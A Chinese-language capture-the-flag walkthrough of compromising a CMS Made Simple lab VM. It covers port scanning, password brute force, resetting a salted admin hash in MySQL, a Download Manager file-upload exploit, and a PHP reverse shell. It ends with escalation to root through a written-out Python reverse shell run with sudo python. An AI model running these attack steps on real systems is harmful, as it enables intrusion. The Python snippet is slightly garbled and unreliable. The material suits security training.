**写在前面:**记录一次艰难曲折的打靶经历。
目录
- 1. 主机发现
- 2. 端口扫描
- 3. 服务枚举
- 4. 服务探查
- 4.1 WEB服务探查
- 4.1.1 浏览器访问
- 4.1.2 目录枚举
- 4.1.3 控制台探查
- 4.1.4 其他目录探查
- 4.2 阶段小结
- 5. 公共EXP搜索
- 5.1 CMS搜索
- 5.2 Apache搜索
- 5.3 PHP搜索
- 5.4 MySQL搜索
- 5.5 CGI搜索
- 6. 密码爆破
- 6.1 爆破CMS控制台
- 6.2 爆破phpmyadmin
- 6.3 爆破MySQL
- 6.3.1 构造密码字典
- 6.3.2 实施爆破
- 7. 探查MySQL数据库
- 8 分析CMS公共EXP漏洞
- 8.1 Showtime2
- 8.2 Download Manager
- 8.3 Antz toolkit
- 8.4 简单分析
- 9. 分析CMS控制台登录
- 9.1 找源码
- 9.2 分析源码
- 10. CMS控制台利用
- 10.1 安装Download Manager
- 10.2 利用EXP
- 10.3 构建php的反弹shell
- 11. 突破边界
- 12. 提权
- 12.1 探查/etc/passwd
- 12.2 枚举操作系统信息
- 12.3 枚举可执行文件
- 12.4 枚举定时任务
- 12.5 利用公共EXP提权
- 12.5.1 搜索公共EXP
- 12.5.2 利用提权EXP
- 12.6 查找凭据
- 12.7 查看sudo权限
- 12.7.1 编写python脚本
- 12.7.2 再次提权
- 13. 获取flag
1. 主机发现
目前只知道目标靶机在56.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.56.0/24
确定目标靶机的IP地址是192.168.56.102。
2. 端口扫描
通过下面的命令,对目标靶机进行全端口扫描。
$ sudo nmap -p- 192.168.56.102
从上面可以看出,目标靶机上除了ssh服务之外,还有web应用,以及mysql服务。
3. 服务枚举
接下来,通过下面的命令,直接枚举上述开放端口上的服务。
$ sudo nmap -p22,80,3306,33060 -A -sV -sT 192.168.56.102
通过端口上的服务枚举,确定了OpenSSH、Apache、MySQL服务的版本号,这为后面的进一步探查确定了大致的范围。接下来我们将依次探查web服务、mysql服务,实在不行在探查openssh服务。
4. 服务探查
4.1 WEB服务探查
4.1.1 浏览器访问
首先通过浏览器直接访问靶机的80端口,看看有什么收获。
貌似是一个CMS主页,内容比较多;从“Manage your Website anywhere and anytime”可以看出,这个站点可能存在一个远程的web管理console;另外,从主页的右下角可以看出,当前CMS Made Simple的版本是2.2.13。
等会儿没有思路的时候再回来依次点击可以点击的内容,看看有什么具体的发现。
4.1.2 目录枚举
通过下面的命令进行一下目录枚举。
$ dirsearch -u http://192.168.56.102
果然应验了我们前面的猜测,枚举出的web站点目录中有管理console的登录页面,上面红圈中的内容使我们关注的重点,我们首先从管理console入手(因为这里的权限时2xx和3xxx,几乎没有限制)。
4.1.3 控制台探查
通过浏览器访问一下,确实打开的是管理控制台的登录页面。
直接输入用户名admin和密码testpwd(我也不知道用户名和密码是啥,随便输入即可)尝试登录一下,看看返回啥内容吧。
登录失败,预料之中的事情,我们重点关注提交的表单参数,以及请求和响应中的cookie等内容。
再次尝试请求(用户名:testusr,密码:testpass),看看哪些是变化的,哪些是不变的。
经过多次尝试发现,响应消息中的cookie不变,请求消息中的Cookie在不重新打开浏览器的情况下也不变,这多少出乎我的预料,暂时放一边,等会儿确实需要爆破的时候再研究细节。
接下来尝试一下忘记密码的操作,点击登录页面的忘记密码连接,进入忘记密码处理页面。随便输入一个用户名点击提交,提示用户不存在。
这有点意思,说明这里可以进行管理员用户枚举(因为CMS安装的时候是需要设置管理员用户的)。
再用admin用户进行忘记密码的提交试试看。
返回500错误,跟随便输入用户的时候,反映不一样啊,这说明admin用户很有可能是存在的,实在不行的时候,可以尝试爆破这个用户。
4.1.4 其他目录探查
通过浏览器进到assets。
有些内容,逐个点开看一下吧。
基本上都是类似下面的404,没啥具体收获;包括doc、modules、lib目录都是一样的。
然后看一下phpinfo.php,通过浏览器进去http://192.168.56.102/phpinfo.php。
内容比较多,我们可以从中发现PHP的版本,以及管理员账号信息。
除此之外还可以得到apache的环境信息、php的环境信息、mysql的具体版本等等,没有太多亮眼的信息,还是看一下phpmyadmin下面都有些啥吧,这里目录枚举的时候都是401状态,应该有些内容。
额,需要用户名密码,估计有了用户名密码就可以进去了。
接下来看看tmp目录下都有些啥。
进去看了一下cache和templates_c底下,也没有实际内容,都是404,还剩最后一个uploads目录,进去看看,也没有实际内容。
4.2 阶段小结
到目前为止,我们已经在web服务里面探查了好久,至少得到了两个管理控制台,一个是CMS的管理控制台,并且管理员用户很可能就是admin,另一个是MySQL的管理控制台phpmyadmin,待会儿可以尝试逐个爆破。
5. 公共EXP搜索
接下来我们搜索一下对应服务的公共EXP。
5.1 CMS搜索
结果不太理想,优化一下关键词试试看。
更加没有相关性,暂时放弃CMS的公共EXP利用。
5.2 Apache搜索
也没有合适的公共EXP。
5.3 PHP搜索
也没有合适的EXP。
5.4 MySQL搜索
MySQL的搜索结果也不太理想,phpmyadmin试试看。
结果比较多,目前我们还不知道目标靶机的phpmyadmin版本是多少,但是搜索结果中有些不限版本的,等会儿可以试试看。
5.5 CGI搜索
记得目标靶机有CGI/1.1的组件,搜索一下看看。
搜索结果基本没有相关性,暂时放弃。
6. 密码爆破
6.1 爆破CMS控制台
我们要爆破admin用户的密码,所以我们需要在burp的intruder中先设置密码为需要参数化的项,如下图。
说明:经过手工测试验证,这里的Cookie不会变化,所以这里暂时不做参数化。
接下来我们在payloads中设置密码字典。
设置好后,点击右上角的“start attack”,进行蛮力攻击,如果弹出下图所示的告警对话框,直接OK即可。
然后会自动新打开一个对话框,进行记录攻击的过程。
说明:这里忘记设置校验过程了,如果能够成功爆破,最后看那个length长度不一样的结果即可。
经历一个多小时,没有爆破成功,暂时放弃。
6.2 爆破phpmyadmin
接下来尝试爆破一下phpmyadmin吧,先用burp抓包看一下请求与响应内容。
这是一个HTTP的get请求,用户名和密码以上图所示的base64编码的方式放到请求头的Authorization字段里面,如果认证失败会返回401的代码。
这里重点参照大神的帖子(https://blog.csdn.net/weixin_50464560/article/details/119273112)。
说明:本来第三个参数应该是通过load加载密码表的,可能是密码表过大,加载失败,只能拆分。
最后在Payload Processing下面点击add添加base64编码规则。
启动attack。
等了半天也没有爆破成功,只好放弃。
6.3 爆破MySQL
只剩一个mysql远程接入的口子了,尝试爆破一下。先手工连接一下试试看。
$ mysql -h 192.168.56.102 -uroot -p
嗯,可以正常访问,那就直接爆破一下,还是用kali自带的hydra,密码字典用john构造一下。
6.3.1 构造密码字典
基础字典选择root、mysql、admin,然后在后面缀上0~3个阿拉伯数字。john.conf配置如下。
说明:这里更正一下,之前的文章说错了,添加了$[0-9] $[0-9] $[0-9]之后,生成的字典中包含了以基础字典里面单词为前缀,后面跟0~3个阿拉伯数字的所有组合,比如admin、admin1、admin11、admin111等等。
通过下面的命令构造密码字典。
$ john --wordlist=origin_word.txt --rules --stdout > pwd.txt
6.3.2 实施爆破
通过下面的命令实施爆破。
$ hydra -l root -P pwd.txt 192.168.56.102 mysql
运气太好了,密码就是root,早知道这样不费这么多劲去构造密码字典进行爆破了,应该先用root登录尝试一下。
$ mysql -h 192.168.56.102 -uroot -proot
7. 探查MySQL数据库
既然能够以root登录数据库,接下来我们先探查一下数据库中有些啥。
有点意思,里面有CMS的数据库,进入cmsms_db,看看相关的表,以及表中的内容,不再赘述。
我们发现cms_users表中只有一个admin用户,这印证了我们前面验证的admin用户确实存在,但是从这里看不出admin的密码,我们尝试用hash-identifier来看看。
$ hash-identifier fb67c6d24e756229aab021cea7605fb3
意思是说最有可能的密码是MD5散列后的值,跑了这么远都没有实质突破,先自己构造一个密码的MD5,然后替换原来的试一下再说吧。生成MD5。
替换原有的密码。
MySQL [cmsms_db]> update cms_users set password='cc03e747a6afbbcbf8be7668acfebee5' where username='admin';
说明:实战过程中,尽量不用这么做,这可能会被管理员察觉。如果真要这么做,也应建议用完之后尽快恢复回原有的密码。
迫不及待地用修改后的密码试了一下,还是失败了,估计使用了加盐的机制。
在加盐的情况下,想要突破,只能研究CMS登录时的加盐机制,这得分析CMS的登录处理的源代码才可能实现,不太可行,而且耗时。
8 分析CMS公共EXP漏洞
前面已经搜索过CMS的公共EXP漏洞,没有真正匹配我们版本(2.2.13)的漏洞。
接下来我们将逐步分析一下不受CMS版本限制的四个漏洞:第一个和最后三个。
8.1 Showtime2
8.2 Download Manager
8.3 Antz toolkit
8.4 简单分析
从上面涉及三个模块的四个漏洞利用代码来看,貌似都是需要先登录到CMS才可以,所以目前我们别无选择,只有想办法研究CMS登录时的密码加盐机制。
9. 分析CMS控制台登录
9.1 找源码
Google一下,CMS的源码有两个相对比较可靠的查阅点,一个是CMS官方给出的浏览地址。
http://viewsvn.cmsmadesimple.org/listing.php?repname=cmsmadesimple&path=%2F&sc=0
另一个是Git上的https://github.com/cmsmadesimple。
我这里使用前者,打开上面的地址,进入branches下面,找到合适的代码点击Download下载即可,我这里选择的是最接近2.2.13版本的2.2.17-b,如下图。
9.2 分析源码
下载完成解压以后,直接导入VS Code。
打开admin目录下的login.php(看上去稳如老狗,实际上慌得一逼,这是我第一次看php代码,各位见笑了)。
快速浏览一下,代码中先实现了密码找回的逻辑,然后是处理登录的逻辑,个人感觉下图所示的部分就是登录处理逻辑,似懂非懂。
但是真正的登录处理逻辑就应该在标红的代码上,因为前面是判断用户名密码是否存在,后面就直接根据oneuser来抛异常了。先百度一下php中的“->”是啥意思吧,让各位见笑了。
大致是调用了userops的LoadUserByUsername函数?暂且这么理解吧,全局搜索一下这个函数。
嗯,是在class.useroperations.inc.php中定义的,转到函数定义的地方仔细看看。
终于找到了,貌似是用sitemask加盐的。关键是这个sitemask又是个什么鬼呢?全局搜索显然成了我这个php白痴的法宝,看看这个get_site_preference是从哪里弄到这个sitemask的。
感觉有点眉目了,可能跟数据库表cms_userprefs有关系,不过这里没有sitemask啊,再全局搜一下sitemask看看。
嗯,又是一个表cms_siteprefs。看来sitemask不外乎这两张表了,进数据库查一把。
感觉有些对不上了,这里面并没有mask之类的字样,再回去看看代码。在前面的LoadUserByUsername函数中,参与MD5计算的盐值是一个名为get_site_preference的函数的返回值。
顺藤摸瓜,看看这个get_site_preference函数的定义。
里面简单调用了cms_siteprefs类的get方法,继续摸瓜。
cms_siteprefs类的get方法定义也比较明确,如果找到了第一个参数指定的值,则返回之;如果找不到,则返回函数调用时指定的默认值(这里是空值’’)。前面查过cms_siteprefs表,貌似没有找到sitemask有关的东西,再回来看看。
猛然意识到(本质原因还是自己道行不够深)sitemask可能不是Field名称,而是sitepref_name下面的值,直接进去搜索一下试试看。
MySQL [cmsms_db]> select * from cms_siteprefs where sitepref_name = 'sitemask';
还真是这样子,既然找到了sitemask,直接将它作为盐值参与MD5计算。
MySQL [cmsms_db]> update cms_users set password=md5(CONCAT('a235561351813137','test123')) where username='admin';
加入盐值修改密码后,再次尝试使用test123登录admin用户,成功了。
10. CMS控制台利用
10.1 安装Download Manager
从前面的分析我们已经知道,CMSMS上相对比较靠谱的漏洞集中在三个模块上:Showtime2、Antz Toolkit、Download Manager。并且涉及Showtime2的两个漏洞需要用到Metasploit或者授权;Antz模块在CMSMS的官网上没找到,因此直接使用Download Manager,先从官网(http://dev.cmsmadesimple.org/project/files/522)下载EXP漏洞对应1.4.1版本。
直接下载xml版本,然后从CMSMS控制台的“Site Admin/Module Manager”导入进去。
导入之后,在Module Manager页面显示如下,还不能正常使用。
点击Action一栏中对应的Install菜单,安装该模块,安装完成后,Download Manager的状态如下。
并且在顶部会收到如下的提示信息。
貌似还得配置下载目录,并赋予777的权限,不知道是不是能够正常实现,先往下走走看吧。
10.2 利用EXP
既然我们已经安装好了Download Manager,接下来我们利用前面下载的EXP代码34298.py。整体看了一下代码,没啥大问题,接下来修改一下host变量,指向我们的目标靶机。
然后运行一下脚本。
嗯,报错了,看一下报错的代码。
从代码来看,没有正常解析socket发送post请求之后的响应消息。在socket的recv函数下面添加一行打印响应消息的代码,看看响应是啥。
再次运行。
报404了,说明我们的URL有问题,再回去检查一下代码。
每个请求的路径前面都有一个前缀/cmsms,但实际上我们在浏览器中访问靶机各个页面的时候是没有这个前缀的,如下图。
直接去掉这个前缀,修改后的代码如下。
再次运行EXP。
虽然打印的返回消息体有乱码,导致第51行代码出错,但是实际上我们的shell上传成功了,仔细查看代码会发现,报错部分是用于解析处理上传shell的路径的。暂时忽略这个错误,直接去这个“/modules/DownloadManager/lib/simple-upload/”路径下看看都有些啥。
都是这几次运行脚本时传上来的内容,至少上传成功了,文件名都是“shell_xxxxx.php”,其中xxxxx是随机的。其它几个不是以shell_xxx命名的文件,逐个手工打开看一下。
发现example.php文件貌似可以用于上传文件的入口啊。等会儿直接用这个页面进行上传我们的反弹shell试试看吧。我前面使用的exp代码也没有太看明白应该把反弹shell写在哪里好,自己手动上网搜索,构建一个。
10.3 构建php的反弹shell
上网搜索,构建包含反弹shell的php脚本,内容如下所示,其中IP地址和端口是Kali主机的IP地址和nc监听端口。
先在kali主机上开启对4444端口的监听。
通过前面的example.php页面上传包含反弹shell的php脚本试试看。通过页面的Browse选择我们构建的revers.php,然后点击Send File上传。
点击Send File之后,页面回显,显示上传成功了。
通过浏览器回到上一层的simple-upload目录看一下,我们的php文件上传成功,时间显示也是正确的。
这时候发现我们kali主机上的nc监听并没有反映。
11. 突破边界
手工访问一下我们刚刚上传的php文件,因为我们的php文件中没有实际要显示的内容,只是一个简单的反弹shell,所以浏览器页面会一直转圈圈。这时候再次查看我们的nc监听,反弹shell成功建立。
这可能是因为只有请求对应的php文件时,才会执行对应的代码,所以当我们浏览器请求的时候才会真正构建反弹shell。这只是我个人的瞎猜。
12. 提权
这个靶机太折腾了,到现在才完成突破边界的工作,接下来就要提权了。
12.1 探查/etc/passwd
从上面的输出可以看出,当前用户www-data是没有办法直接从ssh登录的,可以手工尝试一下。
根本就不给机会,包括root用户也是一样的。
这说明通过爆破root的密码进行提权是不可能的。
12.2 枚举操作系统信息
Debian 10版本,64位系统,内核版本是4.19.98-1。
12.3 枚举可执行文件
搜索一下root用户所有的,其它用户可读可写的可执行文件。
www-data@mycmsms:/var/www$ find / -type f -user root -perm -o=w 2>/dev/null
基本没有发现什么有价值的信息,然后查找一下带有SUID标记的文件。
www-data@mycmsms:/var/www$ find / -perm -u=s -type f 2>/dev/null
有个binary.sh的脚本,看看有没有戏。
脚本内容有点简单的不像话啊,直接运行一下试试看。
我擦,竟然可以直接运行,不过就算能够修改这个脚本,添加了反弹shell,我运行的时候,反弹回来的应该还是www-data用户,达不到提权的目的。既然到了这里,花上30秒试试看吧,说不定撞大运呢。
看来我想多了,这个文件对于www-data用户可读、可执行,但是不可写。
12.4 枚举定时任务
ww-data@mycmsms:/var/www$ ls -lah /etc/cron*
意义不大,直接看一下crontab的内容。
没有什么帮助,并且该文件也没有写权限,修改不了。
12.5 利用公共EXP提权
12.5.1 搜索公共EXP
既然前面提取了系统的指纹,直接搜索一下对应的系统有没有可利用的公共EXP。
初步感觉这四个都能够提权,逐个试试看。
12.5.2 利用提权EXP
大概浏览了一下四个代码文件,相对来说47163可能更靠谱一些,因为在debian10上测试过。先从这个下手,直接编译。
$ gcc -s 47163.c -o ptrace_traceme_root
没报任何错误,将编译后的ptrace_traceme_root上传到目标靶机。
$ python3 -m http.server 80
直接在目标靶机下载。
$ wget http://192.168.56.107/ptrace_traceme_root
直接运行。
$ ./ptrace_traceme_root
失败了,修改一下权限,再次执行试试看。
可以执行了,但是报错了,看看靶机有没有gcc,有的话等会儿我们直接在靶机编译。
嗯,还真有,直接在靶机下载c代码。
$ wget http://192.168.56.107/47163.c
编译一下。
$ gcc -s 47163.c -o ptrace_traceme_root
再次运行试试看。
又失败了,报了其它错误。搜索了一下,目标靶机上确实没有对应的文件或者路径。
有人说这个应该是linux桌面freedestop上的东西,如果不是桌面版的linux可能不存在,所以我们只能放弃47163。
转到其它几个试试看,采用同样的方法,不再赘述。
完犊子了,每个都有错误。
12.6 查找凭据
到目前为止,感觉能用的招数都用上了。www-data这个用户,我总是感觉怪怪的,并且在提权的一开始我们就发现了这个用户没办法直接从SSH登录。既然我们通过四个内核提权漏洞提权失败,又不能爆破这个www-data用户,我们再次查看/etc/passwd,看看还有没有别的收获。
貌似这里面还有个用户,并且是唯一允许ssh登录的非root账号。用这个账号登录试一下。
也不允许通过ssh登录,包括之前的root用户,都不可以。看看能否从www-data切换过去。
可以切换过去,但是需要密码。既然这样,我们还是回到www-data用户所能够查看的内容下,看看能不能找到对应的密码;找不到的话,再想其它办法。
armour用户下的文件,没有权限查看。先看看www-data用户下自己的文件吧,直接进入www-data的HOME目录下搜索。
这还是之前我们通过apache的80端口进行目录枚举的地方,我们逐个目录进去看看,看是否能够发现一些通过目录枚举或者浏览器没有找到的内容。从admin目录从上到下依次查看。
目录下文件比较多,除了php脚本文件之外最显眼的就是开始的两个临时文件.htaccess和.htpasswd,看看这俩文件里面都是些啥。
有点意思,在.htpasswd里面有个字符串,貌似是编码过的,或者是个摘要之类的,先用hash-identifier看看。
额,看来不是摘要类的,再看看是不是base64/32/16编码的内容。
嗯,用base32/16都解不出信息,死马当活马医吧,把base64解出的内容再用base64/32/16解一把试试看。
哈,比较幸运,竟然直接解出了armour的密码,直接su到armour试试看。
貌似这个shell也挺诡异的,输入密码之后没啥动静啊,随便敲个命令试试看。
从上面可以看出,实际上是有反应的,只是不显示shell提示符。然后直接用这个密码su到root用户试试看。
嗯,我太天真了,先看看armour用户的HOME目录下有些啥吧。
逐个看一下。
/tmp下面有个test.py,看看里面有些啥。
文件被删除了,再回来逐个看HOME下的文件。
看看这里提到的clear_console文件。
没啥有价值的内容,继续下去,.bashrc中没有发现有价值的信息;跳过binary.sh(前面已经看过了),再看看.gnupg。
额,这下面有个密钥有关的目录,进去看看。
空的,继续看下面的.profile。
也没啥干货,还剩最后一个.viminfo,进去看看。
也没啥有用的信息。
12.7 查看sudo权限
再看看sudo权限信息吧,再不行就放弃了
额,到了我的知识盲区,意思是armour用户以root用户的方式运行/usr/bin/python命令并且不需要密码吗?会不会是我如果用sudo /usr/bin/python xxxx.py就是以root用户运行python脚本?试试看。
12.7.1 编写python脚本
发现没法在armour下直接通过vi编辑脚本。直接通过echo将下面的代码写入到脚本。
#!/usr/bin/python
import os, subprocess, sockets=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.107',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
整体的命令如下。
echo "#!/usr/bin/python
import os, subprocess, sockets=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.107',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])" > mypython.py
通过cat查看一下。
基本OK。
12.7.2 再次提权
在kali主机上开启监听。
然后通过sudo运行一下试试看。
sudo /usr/bin/python mypython.py
直接就反弹成功,从提示符#来看,应该是root权限了,验证一下。
13. 获取flag
既然是root了,直接提取flag吧。
这是目前经历的最曲折的一个靶机。